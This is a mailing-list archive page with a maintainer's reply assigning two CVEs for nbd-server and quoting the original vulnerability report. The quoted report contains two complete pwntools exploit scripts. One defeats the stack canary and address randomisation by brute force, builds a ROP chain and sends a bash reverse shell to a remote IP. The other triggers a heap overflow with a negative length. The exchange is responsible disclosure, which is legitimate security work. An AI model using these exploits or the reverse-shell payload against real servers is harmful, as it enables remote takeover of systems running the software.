[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: report security problem of nbd



Hi,

Thanks for your report.

These two issues are now CVE-2022-26495 and CVE-2022-26496, and have
been fixed on git master. I plan to release fixed nbd packages later
today.

(You are listed as discoverer on both issues, although you share credit
for the discovery on one of them with a parallel reporter)

On Mon, Jan 24, 2022 at 12:10:06PM +0800, 王多 wrote:
>    1.stack overflow 
>    In nbd-server.c, function handle_info have a stack overflow 
>    https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2299
>    len can be controlled by an attacker, the buf size is 1024, when `len -
>    sizeof(namelen) > 1024` the buf overflow.
>    python poc code as following:
>    from pwn import *
>    import time
>    import sys
>    context.endian = "big"
>    context.log_level = "debug"
>    elf = ELF("./nbd-server")
>    NBD_OPT = {
>        "NBD_OPT_EXPORT_NAME":1,
>        "NBD_OPT_ABORT":2,
>        "NBD_OPT_LIST":3,
>        "NBD_OPT_STARTTLS":5,
>        "NBD_OPT_INFO":6,
>        "NBD_OPT_GO":7,
>        "NBD_OPT_STRUCTURED_REPLY":8,
>        "NBD_OPT_LIST_META_CONTEXT":9,
>        "NBD_OPT_SET_META_CONTEXT":10
>    }
>    NBD_NEW_VERSION = b"IHAVEOPT"
>    def nbd_opt_info(buf, name):
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_INFO"])
>        option += p32(len(buf) + 4)
>        option += p32(len(name))
>        option += buf
>        option += name
>        option += p16(0)
>        p.send(option)
>        return
>    def nbd_opt_list():
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_LIST"])
>        option += p32(0)
>        p.send(option)
>        return
>    def nbd_opt_structured_reply():
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_STRUCTURED_REPLY"])
>        option += p32(0)
>        p.send(option)
>        return
>    def nbd_opt_set_meta_context(exportname, querystring):
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_SET_META_CONTEXT"])
>        option += p32(4 + len(exportname) + 4 + 4 + len(querystring))
>        p.send(option)
>        msg = b""
>        msg += p32(len(exportname)) # exportnamelen
>        msg += exportname.encode("latin") # exportname
>        msg += p32(1) # nr_queries
>        msg += p32(len(querystring)) # querylen
>        msg += querystring.encode("latin") # querystring
>        p.send(msg)
>        return
>    def nbd_opt_list_meta_context(exportname, querystring):
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_LIST_META_CONTEXT"])
>        option += p32(4 + len(exportname) + 4 + 4 + len(querystring))
>        p.send(option)
>       
>        msg = b""
>        msg += p32(len(exportname)) # exportnamelen
>        msg += exportname.encode("latin") # exportname
>        msg += p32(1) # nr_queries
>        msg += p32(len(querystring)) # querylen
>        msg += querystring.encode("latin") # querystring
>        p.send(msg)
>        return
>    def nbd_opt_go(exportname, info):
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_GO"])
>        option += p32(4 + len(exportname) + 2 + 2)
>        p.send(option)
>       
>        msg = b""
>        msg += p32(len(exportname)) # exportnamelen
>        msg += exportname.encode("latin") # exportname
>        msg += p16(1) # nrinfos
>        msg += p16(info) # info
>        p.send(msg)
>        return
>    t0 = time.perf_counter()
>    if len(sys.argv) < 3:
>        print("usage: nbdtest.py ip port")
>        exit(0)
>    ip = sys.argv[1]
>    port = int(sys.argv[2])
>    p = remote(ip, port)
>    p.recvuntil(b"NBDMAGICIHAVEOPT")
>    gflag = u16(p.recv())
>    p.send(p32(gflag))
>    canary = b"\x00"
>    for i in range(7):
>        for j in range(256):
>            payload = b""
>            payload += b"A"*1032
>            payload += canary
>            payload += p8(j)
>            nbd_opt_info(payload, b"B"*4096)
>            p.recvuntil(b"Export unknown")
>            p.send(NBD_NEW_VERSION + p32(0xdeadbeef) + p32(0))
>            try:
>                p.recvuntil(b"The given option is unknown to this server
>    implementation")
>            except:
>                p.close()
>                p = remote(ip, port)
>                p.recvuntil(b"NBDMAGICIHAVEOPT")
>                gflag = u16(p.recv())
>                p.send(p32(gflag))
>                continue
>            canary += p8(j)
>            p.close()
>            p = remote(ip, port)
>            p.recvuntil(b"NBDMAGICIHAVEOPT")
>            gflag = u16(p.recv())
>            p.send(p32(gflag))
>            break
>    log.success("canary: "+ hex(u64(canary.ljust(8, b"\x00"),
>    endian='little')))
>    progaddr = b"\x70"
>    for i in range(5):
>        for j in range(256):
>            payload = b""
>            payload += b"A"*1032
>            payload += canary
>            payload += p64(0xdeadbeef, endian='little')*7
>            payload += progaddr
>            payload += p8(j)
>            nbd_opt_info(payload, b"B"*4096)
>            p.recvuntil(b"Export unknown")
>            try:
>                p.recvuntil(b"NBDMAGICIHAVEOPT")
>            except:
>                p.close()
>                p = remote(ip, port)
>                p..recvuntil(b"NBDMAGICIHAVEOPT")
>                gflag = u16(p.recv())
>                p.send(p32(gflag))
>                continue
>            progaddr += p8(j)
>            p.close()
>            p = remote(ip, port)
>            p.recvuntil(b"NBDMAGICIHAVEOPT")
>            gflag = u16(p.recv())
>            p.send(p32(gflag))
>            break
>    proc_base = u64(progaddr.ljust(8, b"\x00"), endian='little') - 0x9570
>    log.success("proc_base: "+ hex(proc_base))
>    payload = b""
>    payload += b"A"*1032
>    payload += canary
>    payload += p64(0xdeadbeef, endian='little')*7
>    payload += p64(proc_base + 0xC2AA, endian='little')
>    payload += p64(0, endian='little')
>    payload += p64(1, endian='little')
>    payload += p64(4, endian='little')
>    payload += p64(proc_base + 0x13400, endian='little')
>    payload += p64(0x40, endian='little')
>    payload += p64(proc_base + elf.got['read'], endian='little')
>    payload += p64(proc_base + 0xC290, endian='little')
>    payload += p64(0)*7
>    payload += p64(proc_base + 0x4a58, endian='little')
>    payload += p64(proc_base + 0x13400, endian='little')
>    payload += p64(proc_base + elf.plt['system'] , endian='little')
>    nbd_opt_info(payload, b"B"*4096)
>    p.send(b"bash -c 'sh -i >& /dev/tcp/192.168.228.133/23333 0>&1'")
>    print(time.perf_counter() - t0)
>    p.interactive()
>    2.heap overflow
>    In nbd-server.c, function handle_info and handle_export_name have a
>    heap overflow
>    https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2302
>    https://github.com/NetworkBlockDevice/nbd/blob/5750003711b8050bad3ddaf5196201ef419ce15d/nbd-server.c#L2117
>    namelen can be controlled by an attacker,  when `namelen = -1`,  malloc
>    will allocate a very small buffer, but socket_read will read a 0xffffffff,
>    thus causing a heap overflow
>    from pwn import *
>    context.endian = "big"
>    context.log_level = "debug"
>    elf = ELF("./nbd-server")
>    NBD_OPT = {
>        "NBD_OPT_EXPORT_NAME":1,
>        "NBD_OPT_ABORT":2,
>        "NBD_OPT_LIST":3,
>        "NBD_OPT_STARTTLS":5,
>        "NBD_OPT_INFO":6,
>        "NBD_OPT_GO":7,
>        "NBD_OPT_STRUCTURED_REPLY":8,
>        "NBD_OPT_LIST_META_CONTEXT":9,
>        "NBD_OPT_SET_META_CONTEXT":10
>    }
>    NBD_NEW_VERSION = b"IHAVEOPT"
>    def nbd_opt_info(buf, name):
>        option = b""
>        option += NBD_NEW_VERSION
>        option += p32(NBD_OPT["NBD_OPT_INFO"])
>        option += p32(len(buf) + 4)
>        option += p32(len(name))
>        option += buf
>        option += name
>        option += p16(0)
>        p.send(option)
>        return
>    if len(sys.argv) < 3:
>        print("usage: nbdtest.py ip port")
>        exit(0)
>    ip = sys.argv[1]
>    port = int(sys.argv[2])
>    p = remote(ip, port)
>    p.recvuntil(b"NBDMAGICIHAVEOPT")
>    gflag = u16(p.recv())
>    p.send(p32(gflag))
>    option = b""
>    option += NBD_NEW_VERSION
>    option += p32(NBD_OPT["NBD_OPT_INFO"])
>    option += p32(1024)
>    option  +=  p32(-1)
>    option += b"A"*1024
>    option += b"B"*4096
>    option += p16(0)
>    p.send(option)
>    Wangduo of Chaitin Security Research Lab

-- 
     w@uter.{be,co.za}
wouter@{grep.be,fosdem.org,debian.org}


Reply to: